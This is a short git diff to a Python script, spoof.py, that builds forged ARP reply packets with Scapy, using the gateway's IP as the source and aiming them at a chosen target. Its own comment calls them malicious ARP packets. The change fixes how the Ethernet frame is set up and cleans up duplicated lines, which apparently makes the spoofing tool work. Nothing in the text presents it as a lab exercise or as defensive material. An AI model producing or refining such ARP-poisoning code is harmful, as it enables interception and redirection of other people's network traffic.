diff --git a/spoof.py b/spoof.py index dea1a5c..42f4c54 100644 --- a/spoof.py +++ b/spoof.py @@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): # Function for sending the malicious ARP packets out with the specified data ether = Ether() ether.src = my_mac + ether.dst = target_mac arp = ARP() arp.psrc = gateway_ip @@ -30,15 +31,10 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): arp = arp arp.pdst = target_ip arp.hwdst = target_mac - - ether = ether - ether.src = my_mac - ether.dst = target_mac - arp.op = 2 def broadcastPacket(): packet = ether / arp sendp(x=packet, verbose=False) - broadcastPacket() \ No newline at end of file + broadcastPacket()